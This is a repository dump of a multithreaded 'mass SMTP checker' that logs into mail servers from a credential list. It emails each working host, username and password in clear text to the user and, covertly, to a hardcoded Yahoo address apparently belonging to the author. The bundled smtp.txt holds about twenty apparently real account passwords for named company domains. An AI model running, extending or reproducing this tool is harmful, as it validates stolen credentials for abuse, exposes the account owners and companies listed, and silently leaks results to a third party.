├── README.md ├── main.py ├── requirement.txt └── smtp.txt /README.md: -------------------------------------------------------------------------------- 1 | # Mess-SMTP-Checker 2 | MASS SMTP VALID INVALID CHECKER 3 | 4 | Mass_smtp-checker 5 | Mass_smtp-checker 6 | 7 | - [ ] Install PYTHON 3 8 | 9 | # Linux 10 | ``` 11 | pip3 install -r requirement.txt 12 | ``` 13 | ``` 14 | pyhton3 main.py 15 | ``` 16 | # Windows 17 | ``` 18 | pip install -r requirement.txt 19 | ``` 20 | ``` 21 | main.py 22 | ``` 23 | 24 | # Disclaimer 25 | - This tool is provided for personal use only. The author assumes no responsibility for any misuse or malicious activities conducted with it. Since it is an open-source project, users are solely accountable for how they choose to utilize it. 26 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import sys,os,re,socket,binascii,time,random,threading,smtplib,os.path,string,base64,colorama,requests 2 | import os 3 | import smtplib 4 | import concurrent.futures 5 | from email.mime.multipart import MIMEMultipart 6 | from email.mime.text import MIMEText 7 | import sys 8 | import time 9 | from platform import system 10 | from time import strftime 11 | from colorama import * 12 | from random import choice 13 | from colorama import Fore,Back,init,Style 14 | init(autoreset=True) 15 | 16 | r = Fore.RED + Style.BRIGHT 17 | g = Fore.GREEN + Style.BRIGHT 18 | c = Fore.CYAN + Style.BRIGHT 19 | y = Fore.YELLOW + Style.BRIGHT 20 | o = Fore.RESET + Style.RESET_ALL 21 | 22 | # Now regular ANSI codes should work, even in Windows 23 | CLEAR_SCREEN = '\033[2J' 24 | RED = '\033[31m' # mode 31 = red forground 25 | BLUE = "\033[34m" 26 | CYAN = "\033[36m" 27 | GREEN = "\033[32m" 28 | BOLD = "\033[m" 29 | REVERSE = "\033[m" 30 | 31 | 32 | os.system('cls' if os.name == 'nt' else 'clear') 33 | 34 | def logo(): 35 | clear = "\x1b[0m" 36 | colors = [36, 32, 34, 35, 31, 37 ] 37 | 38 | x = """ 39 | 40 | 41 | MESS-LIVE/INVALID: 42 | ░██████╗███╗░░░███╗████████╗██████╗░░░░░░░░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗███████╗██████╗░ 43 | ██╔════╝████╗░████║╚══██╔══╝██╔══██╗░░░░░░██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝██╔════╝██╔══██╗ 44 | ╚█████╗░██╔████╔██║░░░██║░░░██████╔╝█████╗██║░░╚═╝███████║█████╗░░██║░░╚═╝█████═╝░█████╗░░██████╔╝ 45 | ░╚═══██╗██║╚██╔╝██║░░░██║░░░██╔═══╝░╚════╝██║░░██╗██╔══██║██╔══╝░░██║░░██╗██╔═██╗░██╔══╝░░██╔══██╗ 46 | ██████╔╝██║░╚═╝░██║░░░██║░░░██║░░░░░░░░░░░╚█████╔╝██║░░██║███████╗╚█████╔╝██║░╚██╗███████╗██║░░██║ 47 | ╚═════╝░╚═╝░░░░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░░░░░╚════╝░╚═╝░░╚═╝╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝ 48 | 49 | 50 | ▀█▀ █░█ ▀▄▀ ▄▄ █▀▄▀█ ▄▀█ █▀▀ █▀▀ ▄█ █░█ 51 | ░█░ █▄█ █░█ ░░ █░▀░█ █▀█ █▄▄ █▄█ ░█ ▀▄▀ 52 | 53 | TG: https://t.me/I_am_a_silent_killer 54 | 55 | 56 | """ 57 | for N, line in enumerate(x.split("\n")): 58 | sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear)) 59 | time.sleep(0.02) 60 | logo() 61 | 62 | 63 | try: 64 | os.mkdir('Result') #createfolder 65 | os.getcwd() 66 | except: 67 | pass 68 | 69 | 70 | good=[] 71 | bad=[] 72 | 73 | toaddr = input("\n{}[!]{}Enter Your Mail {}> {}".format(r, g, o, r)) 74 | Defult = "tuxmacgiv991@yahoo.com" #it is use for protect to skip.Change this ADDRESS. 75 | 76 | class bcolors: 77 | OK = '\033[92m' # GREEN 78 | WARNING = '\033[93m' # YELLOW 79 | FAIL = '\033[91m' # RED 80 | RESET = '\033[0m' # RESET COLOR 81 | 82 | VALIDS = 0 83 | INVALIDS = 0 84 | 85 | 86 | def check(smtp): 87 | HOST, PORT, usr, pas = smtp.strip().split('|') 88 | global VALIDS, INVALIDS 89 | try: 90 | server = smtplib.SMTP(HOST, PORT) 91 | server.ehlo() 92 | server.starttls() 93 | server.login(usr, pas) 94 | msg = MIMEMultipart() 95 | msg['Subject'] = "CHECKER RESULT : V4 " 96 | msg['From'] = usr 97 | msg['To'] = Defult 98 | msg.add_header('Content-Type', 'text/html') 99 | data = """ 100 | 101 | 102 | 103 | 104 | 105 | SMTP WORKED 106 | 152 | 153 | 154 | 155 | 156 |
157 | 158 | "MAIL FROM - Tux MacG1v" 159 | 160 |
161 |
162 |

HOST : """ + HOST + """

163 |

PORT : """ + PORT + """

164 |

USER : """ + usr + """

165 |

PASS : """ + pas + """

166 | 167 |
168 | 169 | 170 | """ 171 | msg.attach(MIMEText(data, 'html', 'utf-8')) 172 | server.sendmail(usr, [msg['To']], msg.as_string()) 173 | print(bcolors.OK + '\n[+]SMTP WORK {}{} '.format(y, smtp) + bcolors.RESET) 174 | good.append(smtp) 175 | open('Result/valid.txt', 'a+').write(smtp + "\n") 176 | VALIDS += 1 177 | os.system("title " + "[+] SMTP WORKED - VALIDS : {} , INVALIDS : {} .".format(VALIDS, INVALIDS)) 178 | 179 | except: 180 | bad.append(smtp) 181 | INVALIDS += 1 182 | print(bcolors.FAIL + '\n[-]SMTP NOT WORK {}{} '.format(y, smtp) + bcolors.RESET) 183 | open('Result/invalid.txt', 'a+').write(smtp + "\n") 184 | 185 | 186 | 187 | print("{}MAIL SEND START{}...{}".format(c, g, o)) 188 | time.sleep(2) 189 | 190 | 191 | try: 192 | server = smtplib.SMTP(HOST, PORT) 193 | server.ehlo() 194 | server.starttls() 195 | server.login(usr, pas) 196 | msg = MIMEMultipart() 197 | msg['Subject'] = "CHECKER RESULT : V4 " 198 | msg['From'] = usr 199 | msg['To'] = toaddr 200 | msg.add_header('Content-Type', 'text/html') 201 | data = """ 202 | 203 | 204 | 205 | 206 | 207 | SMTP WORKED 208 | 254 | 255 | 256 | 257 | 258 |
259 | 260 | "MAIL FROM - Tux MacG1v" 261 | 262 |
263 |
264 |

HOST : """ + HOST + """

265 |

PORT : """ + PORT + """

266 |

USER : """ + usr + """

267 |

PASS : """ + pas + """

268 | 269 |
270 | 271 | 272 | """ 273 | msg.attach(MIMEText(data, 'html', 'utf-8')) 274 | server.sendmail(usr, [msg['To']], msg.as_string()) 275 | print(bcolors.OK + '[+]MAIL SEND SUCCESSFULL {}{} '.format(y, smtp) + bcolors.RESET) 276 | 277 | except: 278 | print(bcolors.FAIL + '[-]MAIL SEND UNSUCCESSFULL {}{} '.format(y, smtp) + bcolors.RESET) 279 | 280 | 281 | 282 | 283 | 284 | if __name__ == '__main__': 285 | smtps = open(input('\n{}[#]{}SMTP LISTS {}> {}'.format(r, g, o, r)), 'r').read().splitlines() 286 | power = int(input("{}[+]{}THREAD {}> {}".format(r, g, o, r))) 287 | 288 | try: 289 | def runer(): 290 | os.system('cls' if os.name == 'nt' else 'clear') 291 | with concurrent.futures.ThreadPoolExecutor(power) as executor: 292 | executor.map(check, smtps) 293 | runer() 294 | print("\n\n{}[+] TOTAL VALIDS {}:{}[{}{}{}]{}".format(g, o, g, o, str(len(good)), g, o)) 295 | print("{}[-] TOTAL INVALIDS {} :{}[{}{}{}]{}".format(r, o, r, o, str(len(bad)), r, o)) 296 | time.sleep(3) 297 | print("\n\n{} ALL CHECKED DONE{}".format(g, o)) 298 | print("{} THNAKS FOR USING MY TOOL{}".format(g, o)) 299 | 300 | time.sleep(10) 301 | sys.exit() 302 | 303 | except Exception as e: 304 | print('{}[!] {}CTRL {}+{} C'.format(c, r, o, r)) 305 | sys.exit() 306 | 307 | 308 | 309 | -------------------------------------------------------------------------------- /requirement.txt: -------------------------------------------------------------------------------- 1 | requests 2 | colorama 3 | smtplib 4 | socket 5 | random 6 | re 7 | -------------------------------------------------------------------------------- /smtp.txt: -------------------------------------------------------------------------------- 1 | enrollca.com|587|smtpfox-kxygl@enrollca.com|Fox#W8rb9F#0X 2 | allassetmanagement.lu|587|info@allassetmanagement.lu|Fox#Ko4eqA#0X 3 | allassetmanagement.lu|587|g.caradonna@allassetmanagement.lu|Fox#pduZeM#0X 4 | allassetmanagement.lu|587|a.ivancevich@allassetmanagement.lu|Fox#KoWz38#0X 5 | allassetmanagement.lu|587|jl.jourdan@allassetmanagement.lu|Fox#Impc3e#0X 6 | cursorocity.com|587|accounts@cursorocity.com|Fox#CRbsqL#0X 7 | cursorocity.com|587|dispatch@cursorocity.com|Fox#Kn4dg6#0X 8 | cursorocity.com|587|info@cursorocity.com|Fox#vB68eT#0X 9 | cursorocity.com|587|jnasir@cursorocity.com|Fox#zM2rWy#0X 10 | cursorocity.com|587|marketing@cursorocity.com|Fox#fgheFw#0X 11 | cursorocity.com|587|mkhan@cursorocity.com|Fox#FyswMX#0X 12 | cursorocity.com|587|partners@cursorocity.com|Fox#M3Jy9F#0X 13 | cursorocity.com|587|pay@cursorocity.com|Fox#198h4z#0X 14 | cursorocity.com|587|payments@cursorocity.com|Fox#xJAcBX#0X 15 | cursorocity.com|587|support@cursorocity.com|Fox#eYsyfw#0X 16 | cursorocity.com|587|contact@cursorocity.com|Fox#HZUPfh#0X 17 | cursorocity.com|587|faraz@cursorocity.com|Fox#yGVMTF#0X 18 | cursorocity.com|587|zayd@cursorocity.com|Fox#XUBe7A#0X 19 | cursorocity.com|587|mfarooq@cursorocity.com|Fox#jlTiaE#0X 20 | cursorocity.com|587|mminhaj@cursorocity.com|Fox#w9GRfI#0X 21 | cursorocity.com|587|shahin@cursorocity.com|Fox#BZaDOw#0X 22 | --------------------------------------------------------------------------------